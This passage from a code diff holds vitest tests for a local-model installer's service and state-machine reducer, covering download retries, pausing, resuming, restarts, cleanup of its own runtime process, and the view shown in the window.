error: { code: 'pull-failed', next: 'retry', detail: 'max retries exceeded: local error: tls: bad record MAC' },
actions: ['resume', 'install', 'remove'],
});
// The first pull and every retry, and no more.
expect(runtime.state.pulls).toBe(1 + PULL_RETRIES);
// The download as it stood, in the pull's own figures.
expect(failed.progress?.totalBytes).toBe(runtime.model.bytes);
expect(failed.progress?.completedBytes).toBeGreaterThan(0);
expect(failed.progress?.completedBytes).toBeLessThan(runtime.model.bytes);
// Nothing was checked, installed or connected.
expect(runtime.state.installed).toBe(false);
expect(world.installerRuns).toBe(0);
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
// The network is fine again: "Try again" enters the same step.
runtime.switches.pull.fail = 'none';
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
expect(resumed.json().data).toMatchObject({ state: 'installing', step: 'model' });
expect((await settled()).state).toBe('installed');
expect(runtime.state.pulls).toBe(2 + PULL_RETRIES);
// The runtime was neither downloaded nor started a second time.
expect(world.archive.state.archiveRequests).toBe(1);
expect(runtime.state.children).toHaveLength(1);
}, 60_000);
it('a model that does not call a tool ends failed with the next model to try, and Remove cleans up', async () => {
const { app, get, settled, install: clickInstall } = await routes();
const pick = (await get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
runtime.switches.tool = 'none';
await clickInstall(pick);
const install = await settled();
expect(install).toMatchObject({
state: 'failed',
step: 'verify',
error: { code: 'no-tool-call', next: 'next-model', message: { vars: { model: pick.modelLabel } } },
actions: ['resume', 'install', 'remove'],
});
// The model to try next is a row of the list the window has.
const offered = (await get()).recommendation;
expect(install.error?.nextModel?.modelId).not.toBe(pick.modelId);
expect(offered.alternatives.map((row) => row.modelId)).toContain(install.error?.nextModel?.modelId);
// The coding agent was not installed and nothing was connected.
expect(world.installerRuns).toBe(0);
expect(existsSync(HOSTS())).toBe(false);
expect(existsSync(SETTINGS_PATH)).toBe(false);
// "Try again" with a model that now calls the tool finishes the same job.
runtime.switches.tool = 'call';
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
expect(resumed.statusCode).toBe(200);
expect((await settled()).state).toBe('installed');
// The runtime was not downloaded again and the model was not pulled again.
expect(world.archive.state.archiveRequests).toBe(1);
expect(runtime.state.pulls).toBe(1);
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model' });
expect(removed.json().data.state).toBe('idle');
// This feature switched the flag on and no other endpoint is saved: it is off again.
expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(false);
// The model was not asked to go: the store stays for a later install.
expect(existsSync(world.paths.runtimeDir)).toBe(false);
expect(existsSync(world.paths.modelsDir)).toBe(true);
}, 60_000);
it('Cancel during the model download pauses the job, nothing goes on by itself, and Continue finishes it', async () => {
const { app, get, settled, install: clickInstall, pulling } = await routes();
const pick = (await get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
slowPull(runtime);
await clickInstall(pick);
// The window sees the model download move.
await pulling();
expect((await get()).install).toMatchObject({ state: 'installing', step: 'model' });
const cancelled = await app.inject({ method: 'POST', url: '/api/local-model/cancel' });
expect(cancelled.statusCode).toBe(200);
const paused = cancelled.json().data as LocalModelInstallView;
expect(paused).toMatchObject({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] });
// The bytes as they stood, and the pull's own total.
expect(paused.progress?.totalBytes).toBe(runtime.model.bytes);
expect(paused.progress?.completedBytes).toBeLessThan(runtime.model.bytes);
expect(paused.progress).not.toHaveProperty('bytesPerSecond');
expect(runtime.state.installed).toBe(false);
// Nothing goes on by itself.
const pullsAfterCancel = runtime.state.pulls;
await new Promise((resolve) => setTimeout(resolve, 100));
expect(runtime.state.pulls).toBe(pullsAfterCancel);
expect((await get()).install.state).toBe('paused');
quickPull(runtime);
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume' });
expect(resumed.json().data.state).toBe('installing');
expect((await settled()).state).toBe('installed');
expect(runtime.state.pulls).toBe(pullsAfterCancel + 1);
}, 60_000);
it('a server restart during the model download comes back paused, waits for a click, and Continue finishes it', async () => {
const { app, get, settled, install: clickInstall, pulling } = await routes();
const pick = (await get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
slowPull(runtime);
await clickInstall(pick);
await pulling();
// ---- The server stops ----
const first = world.service;
await first.shutdown();
// The runtime child was signalled and no longer listens; the download stopped with it.
expect(runtime.state.children).toHaveLength(1);
expect(runtime.state.children[0].signals).toContain('SIGTERM');
expect(runtime.listening).toBe(false);
expect(runtime.state.installed).toBe(false);
// Stopping writes nothing: the file still says what the job was doing.
expect(await readLocalModelState()).toMatchObject({ state: 'installing', step: 'model' });
const pullsBefore = runtime.state.pulls;
// ---- A new server starts over the same data dir ----
const second = startServer();
expect(second).not.toBe(first);
await second.boot();
const paused = (await get()).install;
expect(paused).toMatchObject({
state: 'paused',
step: 'model',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: pick.modelId, label: pick.modelLabel },
cli: 'opencode',
context: pick.context,
port: world.port,
running: false,
runtime: { installed: true, downloadBytes: 0 },
actions: ['resume', 'install', 'remove'],
});
expect(paused.error).toBeUndefined();
expect(await readLocalModelState()).toMatchObject({ state: 'paused', step: 'model' });
// It never continues without a click: no runtime is started, nothing is pulled.
await new Promise((resolve) => setTimeout(resolve, 150));
expect(runtime.state.children).toHaveLength(1);
expect(runtime.state.pulls).toBe(pullsBefore);
expect((await get()).install.state).toBe('paused');
// ---- Continue ----
quickPull(runtime);
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
expect(resumed.statusCode).toBe(200);
expect(resumed.json().data.state).toBe('installing');
const install = await settled();
expect(install.error).toBeUndefined();
expect(install).toMatchObject({ state: 'installed', running: true, endpointId: 'local-ollama' });
// The new server started the runtime itself and pulled once more; the archive was not fetched again.
expect(runtime.state.children).toHaveLength(2);
expect(runtime.state.pulls).toBe(pullsBefore + 1);
expect(world.archive.state.archiveRequests).toBe(1);
expect(world.installerRuns).toBe(1);
expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'local-ollama', models: [pick.modelId] }]);
}, 60_000);
});
describe('a server that is killed leaves its runtime running: the next server never deletes under it', () => {
/**
* Installs up to the model download, then "kills" the server: its job stops and it signals
* nothing, as a process that got SIGKILL does. Its runtime child goes on listening. Answers
* what the next server needs to find that process: `ps` and `kill` over the fake child.
*/
async function killedDuringTheDownload() {
const api = await routes();
const pick = (await api.get()).recommendation.pick!;
const runtime = prepareRuntime(pick);
slowPull(runtime);
await api.install(pick);
await api.pulling();
const child = runtime.state.children[0];
const signal = child.kill.bind(child);
// A killed server sends its child nothing.
child.kill = () => false;
await world.service.shutdown();
expect(runtime.listening).toBe(true);
// The pid was stored the moment the child was spawned.
expect((await readLocalModelState()).runtime?.pid).toBe(child.pid);
const signals: Array<{ pid: number; signal: string; folderThere: boolean }> = [];
const processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {
// What `ps -o command= -p <pid>` prints for the runtime while it lives.
commandOfPid: async (pid) => (pid === child.pid && runtime.listening ? `${world.paths.binary} serve` : undefined),
kill: (pid, sig) => {
signals.push({ pid, signal: sig, folderThere: existsSync(world.paths.runtimeDir) });
if (pid === child.pid) signal(sig);
},
};
return { ...api, pick, runtime, child, signals, processes };
}
it('Remove of the job it left ends that runtime BEFORE the folder is deleted', async () => {
const { app, runtime, child, signals, processes } = await killedDuringTheDownload();
startServer(processes);
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
expect(removed.statusCode).toBe(200);
expect(removed.json().data.state).toBe('idle');
// The process was signalled while its binary was still on disk, and it is gone.
expect(signals).toEqual([{ pid: child.pid, signal: 'SIGTERM', folderThere: true }]);
await vi.waitFor(() => expect(runtime.listening).toBe(false));
expect(existsSync(world.paths.root)).toBe(false);
expect(await readLocalModelState()).toEqual(expect.objectContaining({ schema: 1, state: 'idle' }));
}, 60_000);
it('the next start of the server ends it too: nothing would use it until a click', async () => {
const { get, settled, app, runtime, child, signals, processes } = await killedDuringTheDownload();
const next = startServer(processes);
await next.boot();
expect(signals.map((entry) => [entry.pid, entry.signal])).toEqual([[child.pid, 'SIGTERM']]);
await vi.waitFor(() => expect(runtime.listening).toBe(false));
expect((await get()).install).toMatchObject({ state: 'paused', step: 'model', running: false });
// Continue starts a runtime of its own on the same port and finishes the install.
quickPull(runtime);
const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
expect(resumed.statusCode).toBe(200);
const install = await settled();
expect(install).toMatchObject({ state: 'installed', running: true });
expect(runtime.state.children).toHaveLength(2);
}, 60_000);
it('a pid that now runs something else is never signalled', async () => {
const { app, child, signals } = await killedDuringTheDownload();
// The pid was reused by another program since.
startServer({
commandOfPid: async () => '/Applications/Something.app/Contents/MacOS/Something',
kill: (pid, sig) => signals.push({ pid, signal: sig, folderThere: true }),
});
const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: {} });
expect(removed.statusCode).toBe(200);
expect(signals).toEqual([]);
// Left to the test's own cleanup.
child.crash(0);
}, 60_000);
});
+739
View File
@@ -0,0 +1,739 @@
/**
* @fileoverview The pure half of the local model install job (src/local-model/install-job.ts):
* the three tables, the reducer over them, and the view.
*
* The reducer is tested from the tables it is written against: every state is paired with
* every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the
* table does not list hands back the very object it was given). The state table's own
* columns (what a restart and Cancel do, which actions are allowed) are checked against the
* reducer and the view, so the table in the file header cannot drift from the code.
*
* The service that drives the job is in test/local-model-install-service.test.ts.
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import {
allowedActions,
buildInstallError,
buildInstallView,
formatInstallMessage,
INSTALL_STATE_TABLE,
INSTALL_STEP_TABLE,
INSTALL_TRANSITIONS,
installedBlocker,
jobSteps,
reduceInstallJob,
type InstallJobEvent,
type InstallJobEventType,
type InstallLiveFacts,
} from '../src/local-model/install-job.js';
import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js';
import {
LOCAL_MODEL_ERROR_LABELS,
LOCAL_MODEL_ERROR_NEXT,
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_INSTALL_STEPS,
type LocalModelAction,
type LocalModelErrorCode,
type LocalModelInstallState,
type LocalModelInstallStep,
type LocalModelStateFile,
} from '../src/types.js';
const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed'];
const EVENT_TYPES: InstallJobEventType[] = [
'install',
'progress',
'step-done',
'fail',
'cancel',
'restart',
'resume',
'remove',
];
const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect'];
const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 };
const CLI = { id: 'opencode', label: 'OpenCode' };
const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 };
const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false };
const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 };
const JOB: LocalModelStateFile = {
schema: 1,
state: 'installing',
step: 'model',
steps: ALL_STEPS,
model: MODEL,
cli: CLI,
runtime: RUNTIME,
progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 },
};
/** One state file of each state, as the job leaves it. */
const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = {
idle: { schema: 1, state: 'idle' },
installing: JOB,
paused: { ...JOB, state: 'paused' },
failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } },
installed: {
schema: 1,
state: 'installed',
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
cli: CLI,
runtime: RUNTIME,
loaded: LOADED,
connection: CONNECTION,
},
};
/** One event of each type. */
const EVENT: Record<InstallJobEventType, InstallJobEvent> = {
install: {
type: 'install',
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
cli: { id: 'claude', label: 'Claude Code' },
steps: ['runtime', 'model', 'verify', 'connect'],
},
progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
'step-done': { type: 'step-done' },
fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
cancel: { type: 'cancel' },
restart: { type: 'restart' },
resume: { type: 'resume' },
remove: { type: 'remove' },
};
/** Freezes an object and everything in it, so a reducer that mutates its input throws. */
function deepFreeze<T>(value: T): T {
if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) {
Object.freeze(value);
for (const member of Object.values(value)) deepFreeze(member);
}
return value;
}
const LIVE: InstallLiveFacts = {
running: false,
gaveUp: false,
portInUse: false,
developerTools: 'present',
runtimeInstalled: false,
pin: OLLAMA_RUNTIME_PIN,
folder: '/Users/me/.codeman/local-model',
};
describe('the tables', () => {
it('have a row for every state and every step, and only for those', () => {
expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort());
expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort());
expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort());
expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS);
});
it('the transition table names only real events and real states', () => {
for (const state of STATES) {
for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) {
expect(EVENT_TYPES).toContain(type);
expect(STATES).toContain(target);
}
}
});
it('is the table of the design: these pairs and no others', () => {
expect(INSTALL_TRANSITIONS).toEqual({
idle: { install: 'installing', restart: 'idle', remove: 'idle' },
installing: {
progress: 'installing',
'step-done': 'installing',
fail: 'failed',
cancel: 'paused',
restart: 'paused',
},
paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' },
failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' },
installed: { remove: 'idle', restart: 'installed' },
});
});
it('every step row names error codes that exist, each with a sentence and a next step', () => {
for (const step of LOCAL_MODEL_INSTALL_STEPS) {
const row = INSTALL_STEP_TABLE[step];
expect(row.errors.length).toBeGreaterThan(0);
expect(row.errors).toContain('internal');
for (const code of row.errors) {
expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string');
expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string');
}
}
// The two steps that download report byte progress; the others do not.
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']);
// The runtime must run for every step that talks to it.
expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([
'model',
'verify',
'connect',
]);
});
it('every error code has exactly one sentence and one next step', () => {
const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[];
expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort());
const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS));
for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true);
});
});
describe('jobSteps', () => {
it('is every step in order, without the agent step when the coding agent is installed', () => {
expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']);
expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']);
});
it('hands out a list of its own each time', () => {
const steps = jobSteps({ agentInstalled: false });
steps.pop();
expect(jobSteps({ agentInstalled: false })).toHaveLength(5);
expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5);
});
});
describe('reduceInstallJob: every state with every event, from the transition table', () => {
for (const state of STATES) {
for (const type of EVENT_TYPES) {
const target = INSTALL_TRANSITIONS[state][type];
const current = deepFreeze(structuredClone(SAMPLE[state]));
const event = deepFreeze(structuredClone(EVENT[type]));
if (target === undefined) {
it(`${state} + ${type}: refused, the same object comes back`, () => {
expect(reduceInstallJob(current, event)).toBe(current);
});
} else {
it(`${state} + ${type}: ${target}`, () => {
const next = reduceInstallJob(current, event);
expect(next.state).toBe(target);
expect(next.schema).toBe(1);
// Pure: the frozen input was not changed (a write to it would have thrown).
expect(current).toEqual(SAMPLE[state]);
});
}
}
}
it('covers all 40 pairs, 18 of them listed', () => {
const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state]));
expect(STATES.length * EVENT_TYPES.length).toBe(40);
expect(listed).toHaveLength(18);
});
});
describe('the state table agrees with the reducer and the view', () => {
it.each(STATES)('%s: what a server restart does', (state) => {
const row = INSTALL_STATE_TABLE[state];
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
expect(after.state).toBe(row.afterRestart);
});
it.each(STATES)('%s: what Cancel does', (state) => {
const row = INSTALL_STATE_TABLE[state];
const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' });
if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]);
else expect(after.state).toBe(row.afterCancel);
});
it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => {
const row = INSTALL_STATE_TABLE[state];
const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined;
expect(row.actions.includes('install')).toBe(accepts('install'));
expect(row.actions.includes('cancel')).toBe(accepts('cancel'));
expect(row.actions.includes('resume')).toBe(accepts('resume'));
// Remove is refused only while a job runs. From idle it only clears leftovers, so the
// window offers no button for it there.
if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove'));
// The runtime and a session are things of an installed model only.
for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) {
expect(row.actions.includes(action)).toBe(state === 'installed');
}
});
it('a restart never leaves a job running, and never changes anything else', () => {
for (const state of STATES) {
const after = reduceInstallJob(SAMPLE[state], { type: 'restart' });
expect(after.state).not.toBe('installing');
if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' });
else expect(after).toBe(SAMPLE[state]);
}
});
});
describe('reduceInstallJob: what each event writes', () => {
it('install from idle starts at the first step with the model, the coding agent and the steps', () => {
expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({
schema: 1,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'connect'],
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
cli: { id: 'claude', label: 'Claude Code' },
});
});
it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => {
const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED };
const next = reduceInstallJob(failed, EVENT.install);
expect(next).toEqual({
schema: 1,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'connect'],
model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 },
// The old job's model is another one: what it left in the store is deleted first.
replacedModelId: 'qwen3.6:35b-a3b',
cli: { id: 'claude', label: 'Claude Code' },
runtime: RUNTIME,
connection: CONNECTION,
});
// Gone: the error, the progress, what the runtime had loaded.
expect(next).not.toHaveProperty('error');
expect(next).not.toHaveProperty('progress');
expect(next).not.toHaveProperty('loaded');
});
it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => {
const paused: LocalModelStateFile = {
...SAMPLE.paused,
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' },
};
const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent);
expect(next).not.toHaveProperty('replacedModelId');
expect(next.model).toEqual(MODEL);
});
it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => {
const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' };
// Same model again: the older leftover is still to be deleted.
expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe(
'qwen3.8:27b'
);
// Going back to the leftover itself: it is the model that is wanted now.
const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } };
expect(
reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent)
).not.toHaveProperty('replacedModelId');
});
it('refuses an install whose steps are not a job', () => {
const idle = SAMPLE.idle;
expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle);
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle);
expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle);
});
it('progress changes the progress and nothing else', () => {
const next = reduceInstallJob(SAMPLE.installing, EVENT.progress);
expect(next).toEqual({
...SAMPLE.installing,
progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 },
});
});
it('refuses progress that is not two byte counts', () => {
for (const bad of [
{ completedBytes: -1, totalBytes: 10 },
{ completedBytes: 1.5, totalBytes: 10 },
{ completedBytes: Number.NaN, totalBytes: 10 },
{ completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY },
]) {
expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing);
}
});
it('step-done moves to the next step of THIS job and clears the progress', () => {
const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect'];
let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps };
const visited: (LocalModelInstallStep | undefined)[] = [state.step];
for (let i = 0; i < 3; i++) {
state = reduceInstallJob(state, { type: 'step-done' });
expect(state.state).toBe('installing');
expect(state).not.toHaveProperty('progress');
visited.push(state.step);
}
// The agent step is not part of this job, so it is never entered.
expect(visited).toEqual(steps);
});
it('the last step-done makes the job installed and keeps only what an installation has', () => {
const last: LocalModelStateFile = {
...SAMPLE.installing,
step: 'connect',
model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' },
loaded: LOADED,
connection: CONNECTION,
};
expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed);
});
it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => {
const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI };
expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep);
const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] };
expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign);
const noRuntime: LocalModelStateFile = {
schema: 1,
state: 'installing',
step: 'connect',
steps: ALL_STEPS,
model: MODEL,
cli: CLI,
};
expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime);
});
it('fail keeps the step and the progress as they stood and stores the error', () => {
expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({
...SAMPLE.installing,
state: 'failed',
error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' },
});
// An error without extras is just its code.
expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({
code: 'internal',
});
});
it('cancel pauses at the same step, with the progress as it stood', () => {
expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused);
});
it('resume re-enters the same step and clears the error', () => {
const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' });
expect(next).toEqual({ ...SAMPLE.installing });
expect(next).not.toHaveProperty('error');
expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model');
});
it('remove drops everything, from every state that allows it', () => {
for (const state of ['idle', 'paused', 'failed', 'installed'] as const) {
expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' });
}
});
});
describe('allowedActions', () => {
it('outside installed it is the state row, whatever is live', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([
...INSTALL_STATE_TABLE[state].actions,
]);
}
expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']);
expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']);
expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']);
expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']);
});
it('installed and running: a session can be started and the runtime stopped', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([
'start-session',
'stop',
'remove',
]);
});
it('installed and stopped: it can be started, and no session is offered', () => {
expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']);
});
it('installed and running a model that changed: no session', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']);
});
it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => {
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session');
expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session');
});
it('never returns the table row itself', () => {
const actions = allowedActions(SAMPLE.idle, LIVE);
actions.push('remove');
expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']);
});
});
describe('installedBlocker', () => {
it('is nothing outside installed, and nothing for a runtime the person stopped', () => {
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
expect(
installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' })
).toBeUndefined();
}
expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined();
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined();
});
it('another program on the port: the port, and "Use another port"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({
code: 'port-in-use',
message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } },
next: 'other-port',
});
});
it('a runtime that keeps stopping: "Start"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({
code: 'runtime-stopped',
message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
next: 'start',
});
});
it('a runtime that did not start: what it said, and "Start" to try again (an installed model has no job to resume)', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: { detail: 'spawn ENOENT' } })).toEqual({
code: 'runtime-start-failed',
message: { text: 'The runtime did not start on this Mac.' },
next: 'start',
detail: 'spawn ENOENT',
});
expect(installedBlocker(SAMPLE.installed, { ...LIVE, startFailed: {} })).toEqual({
code: 'runtime-start-failed',
message: { text: 'The runtime did not start on this Mac.' },
next: 'start',
});
// A runtime that runs has started: an older failure says nothing any more.
expect(
installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same', startFailed: { detail: 'x' } })
).toBeUndefined();
});
it('the port and a runtime that keeps stopping are said before a failed start', () => {
const failed = { startFailed: { detail: 'x' } };
expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, portInUse: true })?.code).toBe('port-in-use');
expect(installedBlocker(SAMPLE.installed, { ...LIVE, ...failed, gaveUp: true })?.code).toBe('runtime-stopped');
});
it('a model that changed: "Remove"', () => {
expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({
code: 'model-changed',
message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' },
next: 'remove',
});
});
});
describe('buildInstallView', () => {
it('idle: only what is always there, with the runtime download an install would add', () => {
expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({
state: 'idle',
running: false,
developerTools: 'missing',
runtime: {
version: '0.40.15',
installed: false,
downloadBytes: 185_971_671,
downloadGb: '0.2',
unpackedGb: '0.6',
},
folder: '/Users/me/.codeman/local-model',
actions: ['install'],
});
});
it('once the runtime is unpacked an install downloads nothing for it', () => {
const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true });
expect(view.runtime).toEqual({
version: '0.40.15',
installed: true,
downloadBytes: 0,
downloadGb: '0.0',
unpackedGb: '0.6',
});
});
it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => {
const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 });
expect(view).toEqual({
state: 'installing',
running: true,
developerTools: 'present',
runtime: {
version: '0.40.15',
installed: false,
downloadBytes: 185_971_671,
downloadGb: '0.2',
unpackedGb: '0.6',
},
folder: '/Users/me/.codeman/local-model',
actions: ['cancel'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
port: 11435,
step: 'model',
steps: ALL_STEPS,
progress: {
completedBytes: 6_200_000_000,
totalBytes: 23_105_798_956,
completedGb: '6.2',
totalGb: '23.1',
bytesPerSecond: 58_000_000,
mbPerSecond: '58',
// (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up.
secondsLeft: 292,
},
});
});
it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => {
const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 });
expect(view.progress).toEqual({
completedBytes: 6_200_000_000,
totalBytes: 23_105_798_956,
completedGb: '6.2',
totalGb: '23.1',
});
expect(view.actions).toEqual(['resume', 'install', 'remove']);
});
it('a speed of zero has no time left, and a download without a total has no progress at all', () => {
const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 });
